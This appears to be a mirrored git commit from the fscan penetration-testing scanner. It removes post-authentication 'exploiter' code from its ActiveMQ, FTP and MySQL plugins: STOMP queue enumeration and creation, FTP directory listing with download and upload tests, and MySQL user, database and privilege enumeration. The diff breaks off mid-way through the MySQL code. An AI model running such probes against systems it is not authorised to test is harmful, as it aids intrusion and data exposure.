mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
refactor: 简化非Redis插件的exploiter实现为最小版本
- 清理SSH、MySQL、FTP、ActiveMQ插件的exploiter.go为最小实现 - 移除所有未使用的利用功能代码和依赖 - 仅保留基础结构以维持接口兼容性 - 只有Redis插件保留完整的参数驱动利用功能
This commit is contained in:
parent
90576b122c
commit
ab8834a602
@ -2,32 +2,23 @@ package activemq
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// ActiveMQExploiter ActiveMQ利用模块
|
||||
// 实现ActiveMQ相关的安全测试和利用功能
|
||||
// ActiveMQExploiter ActiveMQ利用器实现 - 最小化版本,不提供利用功能
|
||||
type ActiveMQExploiter struct {
|
||||
*base.BaseExploiter
|
||||
connector *ActiveMQConnector
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
// NewActiveMQExploiter 创建新的ActiveMQ利用器
|
||||
// NewActiveMQExploiter 创建ActiveMQ利用器
|
||||
func NewActiveMQExploiter() *ActiveMQExploiter {
|
||||
exploiter := &ActiveMQExploiter{
|
||||
BaseExploiter: base.NewBaseExploiter("activemq"),
|
||||
connector: NewActiveMQConnector(),
|
||||
timeout: time.Duration(common.Timeout) * time.Second,
|
||||
}
|
||||
|
||||
// 设置利用方法
|
||||
// ActiveMQ插件不提供利用功能
|
||||
exploiter.setupExploitMethods()
|
||||
|
||||
return exploiter
|
||||
@ -39,358 +30,8 @@ func (e *ActiveMQExploiter) setupExploitMethods() {
|
||||
// 没有实际的GetShell或文件写入等攻击价值
|
||||
}
|
||||
|
||||
// exploitInformationGatheringNew 信息收集利用 (新架构)
|
||||
func (e *ActiveMQExploiter) exploitInformationGatheringNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
result, err := e.exploitInformationGathering(ctx, info, creds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitMessageEnumerationNew 消息枚举利用 (新架构)
|
||||
func (e *ActiveMQExploiter) exploitMessageEnumerationNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
result, err := e.exploitMessageEnumeration(ctx, info, creds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitQueueManagementNew 队列管理利用 (新架构)
|
||||
func (e *ActiveMQExploiter) exploitQueueManagementNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
result, err := e.exploitQueueManagement(ctx, info, creds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitConfigurationDumpNew 配置转储利用 (新架构)
|
||||
func (e *ActiveMQExploiter) exploitConfigurationDumpNew(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
result, err := e.exploitConfigurationDump(ctx, info, creds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitInformationGathering 信息收集利用
|
||||
func (e *ActiveMQExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 连接到ActiveMQ服务
|
||||
conn, err := e.createConnection(ctx, target, creds)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 收集基本信息
|
||||
info_data, err := e.gatherBasicInfo(conn, creds)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("信息收集失败: %v", err)
|
||||
}
|
||||
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Type: base.ExploitDataExtraction,
|
||||
Method: "信息收集",
|
||||
Output: info_data,
|
||||
Data: map[string]interface{}{
|
||||
"service": "ActiveMQ",
|
||||
"info_type": "system_information",
|
||||
"data": info_data,
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// exploitMessageEnumeration 消息枚举利用
|
||||
func (e *ActiveMQExploiter) exploitMessageEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
conn, err := e.createConnection(ctx, target, creds)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 尝试枚举队列和主题
|
||||
queues, err := e.enumerateQueues(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("队列枚举失败: %v", err)
|
||||
}
|
||||
|
||||
if len(queues) > 0 {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Type: base.ExploitDataExtraction,
|
||||
Method: "消息枚举",
|
||||
Output: fmt.Sprintf("发现队列: %s", strings.Join(queues, ", ")),
|
||||
Data: map[string]interface{}{
|
||||
"service": "ActiveMQ",
|
||||
"queues": queues,
|
||||
"count": len(queues),
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("未发现可访问的队列")
|
||||
}
|
||||
|
||||
// exploitQueueManagement 队列管理利用
|
||||
func (e *ActiveMQExploiter) exploitQueueManagement(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
conn, err := e.createConnection(ctx, target, creds)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 尝试创建测试队列
|
||||
testQueue := "test.fscan.queue"
|
||||
success := e.testQueueCreation(conn, testQueue)
|
||||
if success {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Type: base.ExploitPrivilegeEsc,
|
||||
Method: "队列管理",
|
||||
Output: fmt.Sprintf("成功创建测试队列: %s", testQueue),
|
||||
Data: map[string]interface{}{
|
||||
"service": "ActiveMQ",
|
||||
"privilege": "queue_management",
|
||||
"test_queue": testQueue,
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("队列管理测试失败")
|
||||
}
|
||||
|
||||
// exploitConfigurationDump 配置转储利用
|
||||
func (e *ActiveMQExploiter) exploitConfigurationDump(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
|
||||
// 这里可以实现配置信息获取逻辑
|
||||
// 由于STOMP协议限制,主要通过管理API获取
|
||||
configInfo := "无法通过STOMP协议获取详细配置信息,建议使用Web管理界面"
|
||||
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Type: base.ExploitDataExtraction,
|
||||
Method: "配置转储",
|
||||
Output: configInfo,
|
||||
Data: map[string]interface{}{
|
||||
"service": "ActiveMQ",
|
||||
"note": "需要Web管理界面访问权限",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// createConnection 创建ActiveMQ连接
|
||||
func (e *ActiveMQExploiter) createConnection(ctx context.Context, target string, creds *base.Credential) (net.Conn, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, e.timeout)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 进行STOMP认证
|
||||
authErr := e.connector.authenticateSTOMP(ctx, conn, creds.Username, creds.Password)
|
||||
if authErr != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("认证失败: %v", authErr)
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// gatherBasicInfo 收集基本信息
|
||||
func (e *ActiveMQExploiter) gatherBasicInfo(conn net.Conn, creds *base.Credential) (string, error) {
|
||||
var info []string
|
||||
|
||||
// 添加认证信息
|
||||
info = append(info, fmt.Sprintf("认证用户: %s", creds.Username))
|
||||
info = append(info, fmt.Sprintf("协议: STOMP"))
|
||||
|
||||
// 尝试获取服务器信息
|
||||
serverInfo := e.getServerInfo(conn)
|
||||
if serverInfo != "" {
|
||||
info = append(info, fmt.Sprintf("服务器: %s", serverInfo))
|
||||
}
|
||||
|
||||
// 尝试枚举队列
|
||||
queues, err := e.enumerateQueues(conn)
|
||||
if err == nil && len(queues) > 0 {
|
||||
info = append(info, fmt.Sprintf("发现队列: %s", strings.Join(queues, ", ")))
|
||||
}
|
||||
|
||||
// 测试队列创建权限
|
||||
if e.testQueueCreation(conn, "fscan-test-queue") {
|
||||
info = append(info, "具备队列创建权限")
|
||||
}
|
||||
|
||||
// 用户权限信息
|
||||
permissions := e.checkUserPermissions(creds.Username)
|
||||
if permissions != "" {
|
||||
info = append(info, fmt.Sprintf("用户权限: %s", permissions))
|
||||
}
|
||||
|
||||
return strings.Join(info, " | "), nil
|
||||
}
|
||||
|
||||
// getServerInfo 获取服务器信息
|
||||
func (e *ActiveMQExploiter) getServerInfo(conn net.Conn) string {
|
||||
// 发送INFO帧尝试获取服务器信息
|
||||
infoFrame := "INFO\n\n\x00"
|
||||
|
||||
conn.SetWriteDeadline(time.Now().Add(e.timeout))
|
||||
if _, err := conn.Write([]byte(infoFrame)); err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second * 2)) // 短超时
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
if strings.Contains(responseStr, "server:") {
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "server:") {
|
||||
return strings.TrimPrefix(line, "server:")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// enumerateQueues 枚举队列
|
||||
func (e *ActiveMQExploiter) enumerateQueues(conn net.Conn) ([]string, error) {
|
||||
// 常见的ActiveMQ队列名称
|
||||
commonQueues := []string{
|
||||
"ActiveMQ.Advisory.>",
|
||||
"ActiveMQ.Statistics.>",
|
||||
"test",
|
||||
"queue.test",
|
||||
"default",
|
||||
"example",
|
||||
}
|
||||
|
||||
var discoveredQueues []string
|
||||
|
||||
for _, queueName := range commonQueues {
|
||||
if e.testQueueAccess(conn, queueName) {
|
||||
discoveredQueues = append(discoveredQueues, queueName)
|
||||
}
|
||||
}
|
||||
|
||||
return discoveredQueues, nil
|
||||
}
|
||||
|
||||
// testQueueAccess 测试队列访问
|
||||
func (e *ActiveMQExploiter) testQueueAccess(conn net.Conn, queueName string) bool {
|
||||
// 发送SUBSCRIBE帧尝试订阅队列
|
||||
subscribeFrame := fmt.Sprintf("SUBSCRIBE\ndestination:/queue/%s\nack:auto\nid:test-sub-%s\n\n\x00",
|
||||
queueName, queueName)
|
||||
|
||||
conn.SetWriteDeadline(time.Now().Add(e.timeout))
|
||||
if _, err := conn.Write([]byte(subscribeFrame)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 读取响应,检查是否订阅成功
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
response := make([]byte, 512)
|
||||
_, err := conn.Read(response)
|
||||
|
||||
// 如果没有ERROR响应,认为订阅可能成功
|
||||
return err == nil && !strings.Contains(string(response), "ERROR")
|
||||
}
|
||||
|
||||
// testQueueCreation 测试队列创建
|
||||
func (e *ActiveMQExploiter) testQueueCreation(conn net.Conn, queueName string) bool {
|
||||
// 发送SEND帧到新队列(这会隐式创建队列)
|
||||
sendFrame := fmt.Sprintf("SEND\ndestination:/queue/%s\n\nTest message from fscan\x00", queueName)
|
||||
|
||||
conn.SetWriteDeadline(time.Now().Add(e.timeout))
|
||||
if _, err := conn.Write([]byte(sendFrame)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 读取响应检查是否成功
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
response := make([]byte, 512)
|
||||
_, err := conn.Read(response)
|
||||
|
||||
return err == nil && !strings.Contains(string(response), "ERROR")
|
||||
}
|
||||
|
||||
// GetExploitMethods 获取支持的利用方法
|
||||
func (e *ActiveMQExploiter) GetExploitMethods() []base.ExploitMethod {
|
||||
return []base.ExploitMethod{
|
||||
{
|
||||
Type: base.ExploitDataExtraction,
|
||||
Name: "信息收集",
|
||||
Description: "收集ActiveMQ服务基本信息",
|
||||
Priority: 8,
|
||||
Handler: nil,
|
||||
},
|
||||
{
|
||||
Type: base.ExploitDataExtraction,
|
||||
Name: "消息枚举",
|
||||
Description: "枚举可访问的队列和主题",
|
||||
Priority: 7,
|
||||
Handler: nil,
|
||||
},
|
||||
{
|
||||
Type: base.ExploitPrivilegeEsc,
|
||||
Name: "队列管理",
|
||||
Description: "测试队列创建和管理权限",
|
||||
Priority: 6,
|
||||
Handler: nil,
|
||||
},
|
||||
{
|
||||
Type: base.ExploitDataExtraction,
|
||||
Name: "配置转储",
|
||||
Description: "获取配置信息提示",
|
||||
Priority: 5,
|
||||
Handler: nil,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// checkUserPermissions 检查用户权限类型
|
||||
func (e *ActiveMQExploiter) checkUserPermissions(username string) string {
|
||||
// 根据用户名推断权限级别
|
||||
switch strings.ToLower(username) {
|
||||
case "admin", "root", "system":
|
||||
return "管理员权限"
|
||||
case "publisher", "producer":
|
||||
return "发布者权限"
|
||||
case "consumer", "subscriber":
|
||||
return "消费者权限"
|
||||
case "guest":
|
||||
return "访客权限"
|
||||
default:
|
||||
return "用户权限"
|
||||
}
|
||||
}
|
||||
|
||||
// IsExploitSupported 检查是否支持指定的利用类型
|
||||
func (e *ActiveMQExploiter) IsExploitSupported(exploitType base.ExploitType) bool {
|
||||
supportedTypes := []base.ExploitType{
|
||||
base.ExploitDataExtraction,
|
||||
base.ExploitPrivilegeEsc,
|
||||
}
|
||||
|
||||
for _, t := range supportedTypes {
|
||||
if t == exploitType {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
// Exploit 利用接口实现 - 空实现
|
||||
func (e *ActiveMQExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// ActiveMQ插件不提供利用功能
|
||||
return nil, nil
|
||||
}
|
@ -2,30 +2,23 @@ package ftp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
ftplib "github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// FTPExploiter FTP利用器
|
||||
// FTPExploiter FTP利用器实现 - 最小化版本,不提供利用功能
|
||||
type FTPExploiter struct {
|
||||
*base.BaseExploiter
|
||||
connector *FTPConnector
|
||||
}
|
||||
|
||||
// NewFTPExploiter 创建FTP利用器
|
||||
func NewFTPExploiter() *FTPExploiter {
|
||||
exploiter := &FTPExploiter{
|
||||
BaseExploiter: base.NewBaseExploiter("ftp"),
|
||||
connector: NewFTPConnector(),
|
||||
}
|
||||
|
||||
// 添加利用方法
|
||||
// FTP插件不提供利用功能
|
||||
exploiter.setupExploitMethods()
|
||||
|
||||
return exploiter
|
||||
@ -36,264 +29,8 @@ func (e *FTPExploiter) setupExploitMethods() {
|
||||
// FTP插件不提供利用功能,仅进行弱密码扫描
|
||||
}
|
||||
|
||||
// exploitDirectoryEnumeration 目录枚举
|
||||
func (e *FTPExploiter) exploitDirectoryEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
return e.executeWithConnection(ctx, info, creds, "directory_enumeration", e.directoryEnumeration)
|
||||
}
|
||||
|
||||
// exploitFileDownloadTest 文件下载测试
|
||||
func (e *FTPExploiter) exploitFileDownloadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
return e.executeWithConnection(ctx, info, creds, "file_download_test", e.fileDownloadTest)
|
||||
}
|
||||
|
||||
// exploitFileUploadTest 文件上传测试
|
||||
func (e *FTPExploiter) exploitFileUploadTest(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
return e.executeWithConnection(ctx, info, creds, "file_upload_test", e.fileUploadTest)
|
||||
}
|
||||
|
||||
// executeWithConnection 使用FTP连接执行利用方法
|
||||
func (e *FTPExploiter) executeWithConnection(ctx context.Context, info *common.HostInfo, creds *base.Credential, methodName string, method func(context.Context, *ftplib.ServerConn, string) ([]string, error)) (*base.ExploitResult, error) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 建立FTP连接
|
||||
ftpConn, err := ftplib.DialTimeout(target, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer ftpConn.Quit()
|
||||
|
||||
// 登录认证
|
||||
err = ftpConn.Login(creds.Username, creds.Password)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("认证失败: %v", err)
|
||||
}
|
||||
|
||||
// 执行方法
|
||||
output, err := method(ctx, ftpConn, target)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("执行失败: %v", err)
|
||||
}
|
||||
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Type: base.ExploitDataExtraction,
|
||||
Method: methodName,
|
||||
Output: strings.Join(output, "\n"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// directoryEnumeration 目录枚举
|
||||
func (e *FTPExploiter) directoryEnumeration(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
|
||||
var output []string
|
||||
|
||||
// 获取当前工作目录
|
||||
currentDir, err := ftpConn.CurrentDir()
|
||||
if err != nil {
|
||||
currentDir = "/"
|
||||
}
|
||||
output = append(output, fmt.Sprintf("当前工作目录: %s", currentDir))
|
||||
|
||||
// 列举根目录内容
|
||||
entries, err := ftpConn.List("")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("列举目录失败: %v", err)
|
||||
}
|
||||
|
||||
if len(entries) == 0 {
|
||||
output = append(output, "目录为空")
|
||||
return output, nil
|
||||
}
|
||||
|
||||
// 显示目录内容(限制显示数量)
|
||||
maxDisplay := 10
|
||||
if len(entries) > maxDisplay {
|
||||
output = append(output, fmt.Sprintf("发现 %d 个条目,显示前 %d 个:", len(entries), maxDisplay))
|
||||
} else {
|
||||
output = append(output, fmt.Sprintf("发现 %d 个条目:", len(entries)))
|
||||
}
|
||||
|
||||
dirCount := 0
|
||||
fileCount := 0
|
||||
for i, entry := range entries {
|
||||
if i >= maxDisplay {
|
||||
break
|
||||
}
|
||||
|
||||
// 格式化文件/目录信息
|
||||
entryType := "文件"
|
||||
if entry.Type == ftplib.EntryTypeFolder {
|
||||
entryType = "目录"
|
||||
dirCount++
|
||||
} else {
|
||||
fileCount++
|
||||
}
|
||||
|
||||
// 格式化文件大小
|
||||
sizeInfo := ""
|
||||
if entry.Type != ftplib.EntryTypeFolder {
|
||||
if entry.Size > 1024*1024 {
|
||||
sizeInfo = fmt.Sprintf("%.2fMB", float64(entry.Size)/(1024*1024))
|
||||
} else if entry.Size > 1024 {
|
||||
sizeInfo = fmt.Sprintf("%.2fKB", float64(entry.Size)/1024)
|
||||
} else {
|
||||
sizeInfo = fmt.Sprintf("%dB", entry.Size)
|
||||
}
|
||||
}
|
||||
|
||||
// 截断过长的文件名
|
||||
name := entry.Name
|
||||
if len(name) > 50 {
|
||||
name = name[:50] + "..."
|
||||
}
|
||||
|
||||
if sizeInfo != "" {
|
||||
output = append(output, fmt.Sprintf(" [%s] %s (%s)", entryType, name, sizeInfo))
|
||||
} else {
|
||||
output = append(output, fmt.Sprintf(" [%s] %s", entryType, name))
|
||||
}
|
||||
}
|
||||
|
||||
// 添加统计信息
|
||||
if len(entries) > maxDisplay {
|
||||
output = append(output, fmt.Sprintf("... 还有 %d 个条目未显示", len(entries)-maxDisplay))
|
||||
}
|
||||
output = append(output, fmt.Sprintf("统计: %d个目录, %d个文件", dirCount, fileCount))
|
||||
|
||||
return output, nil
|
||||
}
|
||||
|
||||
// fileDownloadTest 文件下载测试
|
||||
func (e *FTPExploiter) fileDownloadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
|
||||
var output []string
|
||||
|
||||
// 获取目录列表
|
||||
entries, err := ftpConn.List("")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取文件列表失败: %v", err)
|
||||
}
|
||||
|
||||
// 寻找可下载的小文件进行测试
|
||||
var testFile *ftplib.Entry
|
||||
for _, entry := range entries {
|
||||
if entry.Type == ftplib.EntryTypeFile && entry.Size < 10240 { // 小于10KB的文件
|
||||
// 过滤一些常见的安全文件
|
||||
name := strings.ToLower(entry.Name)
|
||||
if !strings.Contains(name, "passwd") &&
|
||||
!strings.Contains(name, "shadow") &&
|
||||
!strings.Contains(name, "key") &&
|
||||
!strings.Contains(name, "config") {
|
||||
testFile = entry
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if testFile == nil {
|
||||
output = append(output, "未找到合适的测试文件(寻找小于10KB的普通文件)")
|
||||
return output, nil
|
||||
}
|
||||
|
||||
// 尝试下载测试文件
|
||||
response, err := ftpConn.Retr(testFile.Name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("下载文件失败: %v", err)
|
||||
}
|
||||
defer response.Close()
|
||||
|
||||
// 读取前1024字节作为测试
|
||||
buffer := make([]byte, 1024)
|
||||
n, _ := response.Read(buffer)
|
||||
|
||||
output = append(output, fmt.Sprintf("成功下载测试文件: %s", testFile.Name))
|
||||
output = append(output, fmt.Sprintf("文件大小: %d 字节", testFile.Size))
|
||||
if n > 0 {
|
||||
// 检查是否为文本内容
|
||||
if isPrintableText(buffer[:n]) {
|
||||
preview := string(buffer[:n])
|
||||
if len(preview) > 200 {
|
||||
preview = preview[:200] + "..."
|
||||
}
|
||||
output = append(output, fmt.Sprintf("文件内容预览: %s", preview))
|
||||
} else {
|
||||
output = append(output, "文件为二进制内容")
|
||||
}
|
||||
}
|
||||
|
||||
return output, nil
|
||||
}
|
||||
|
||||
// fileUploadTest 文件上传测试
|
||||
func (e *FTPExploiter) fileUploadTest(ctx context.Context, ftpConn *ftplib.ServerConn, target string) ([]string, error) {
|
||||
var output []string
|
||||
|
||||
// 测试文件内容
|
||||
testFileName := "fscan_test.txt"
|
||||
testContent := "This is a test file created by fscan for FTP upload testing."
|
||||
|
||||
// 尝试上传测试文件
|
||||
err := ftpConn.Stor(testFileName, strings.NewReader(testContent))
|
||||
if err != nil {
|
||||
// 尝试上传到常见的上传目录
|
||||
uploadDirs := []string{"upload", "uploads", "tmp", "temp", "public"}
|
||||
uploaded := false
|
||||
|
||||
for _, dir := range uploadDirs {
|
||||
testPath := filepath.Join(dir, testFileName)
|
||||
err = ftpConn.Stor(testPath, strings.NewReader(testContent))
|
||||
if err == nil {
|
||||
output = append(output, fmt.Sprintf("文件上传成功: %s", testPath))
|
||||
|
||||
// 尝试删除测试文件
|
||||
if deleteErr := ftpConn.Delete(testPath); deleteErr == nil {
|
||||
output = append(output, "测试文件已清理")
|
||||
}
|
||||
uploaded = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !uploaded {
|
||||
return nil, fmt.Errorf("文件上传失败: %v", err)
|
||||
}
|
||||
} else {
|
||||
output = append(output, fmt.Sprintf("文件上传成功: %s", testFileName))
|
||||
|
||||
// 验证文件是否存在
|
||||
entries, err := ftpConn.List("")
|
||||
if err == nil {
|
||||
for _, entry := range entries {
|
||||
if entry.Name == testFileName {
|
||||
output = append(output, fmt.Sprintf("验证文件存在,大小: %d 字节", entry.Size))
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试删除测试文件
|
||||
if deleteErr := ftpConn.Delete(testFileName); deleteErr == nil {
|
||||
output = append(output, "测试文件已清理")
|
||||
} else {
|
||||
output = append(output, "警告: 无法删除测试文件,请手动清理")
|
||||
}
|
||||
}
|
||||
|
||||
output = append(output, "FTP上传功能可用")
|
||||
return output, nil
|
||||
}
|
||||
|
||||
// isPrintableText 检查字节数组是否为可打印文本
|
||||
func isPrintableText(data []byte) bool {
|
||||
if len(data) == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
printableCount := 0
|
||||
for _, b := range data {
|
||||
if (b >= 32 && b <= 126) || b == '\n' || b == '\r' || b == '\t' {
|
||||
printableCount++
|
||||
}
|
||||
}
|
||||
|
||||
// 如果80%以上是可打印字符,认为是文本
|
||||
return float64(printableCount)/float64(len(data)) > 0.8
|
||||
// Exploit 利用接口实现 - 空实现
|
||||
func (e *FTPExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// FTP插件不提供利用功能
|
||||
return nil, nil
|
||||
}
|
@ -2,29 +2,23 @@ package mysql
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// MySQLExploiter MySQL利用器实现
|
||||
// MySQLExploiter MySQL利用器实现 - 最小化版本,不提供利用功能
|
||||
type MySQLExploiter struct {
|
||||
*base.BaseExploiter
|
||||
connector *MySQLConnector
|
||||
}
|
||||
|
||||
// NewMySQLExploiter 创建MySQL利用器
|
||||
func NewMySQLExploiter() *MySQLExploiter {
|
||||
exploiter := &MySQLExploiter{
|
||||
BaseExploiter: base.NewBaseExploiter("mysql"),
|
||||
connector: NewMySQLConnector(),
|
||||
}
|
||||
|
||||
// 添加利用方法
|
||||
// MySQL插件不提供利用功能
|
||||
exploiter.setupExploitMethods()
|
||||
|
||||
return exploiter
|
||||
@ -35,298 +29,8 @@ func (e *MySQLExploiter) setupExploitMethods() {
|
||||
// MySQL插件不提供利用功能,仅进行弱密码扫描
|
||||
}
|
||||
|
||||
// exploitInformationGathering 信息收集利用
|
||||
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
|
||||
|
||||
// 获取版本信息
|
||||
version, err := e.getVersion(ctx, db)
|
||||
if err == nil {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
|
||||
result.Extra["version"] = version
|
||||
}
|
||||
|
||||
// 获取当前用户
|
||||
user, err := e.getCurrentUser(ctx, db)
|
||||
if err == nil {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
|
||||
result.Extra["current_user"] = user
|
||||
}
|
||||
|
||||
// 获取当前数据库
|
||||
database, err := e.getCurrentDatabase(ctx, db)
|
||||
if err == nil {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
|
||||
result.Extra["current_database"] = database
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitDatabaseEnumeration 数据库枚举利用
|
||||
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
|
||||
|
||||
// 枚举数据库
|
||||
databases, err := e.enumerateDatabases(ctx, db)
|
||||
if err == nil && len(databases) > 0 {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
|
||||
result.Extra["databases"] = databases
|
||||
}
|
||||
|
||||
// 枚举表(限制在非系统数据库中)
|
||||
tables, err := e.enumerateTables(ctx, db)
|
||||
if err == nil && len(tables) > 0 {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
|
||||
result.Extra["tables"] = tables
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// exploitPrivilegeCheck 权限检查利用
|
||||
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||||
if err != nil {
|
||||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
|
||||
|
||||
// 检查用户权限
|
||||
privileges, err := e.getUserPrivileges(ctx, db)
|
||||
if err == nil && len(privileges) > 0 {
|
||||
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
|
||||
result.Extra["privileges"] = privileges
|
||||
}
|
||||
|
||||
// 检查是否有FILE权限
|
||||
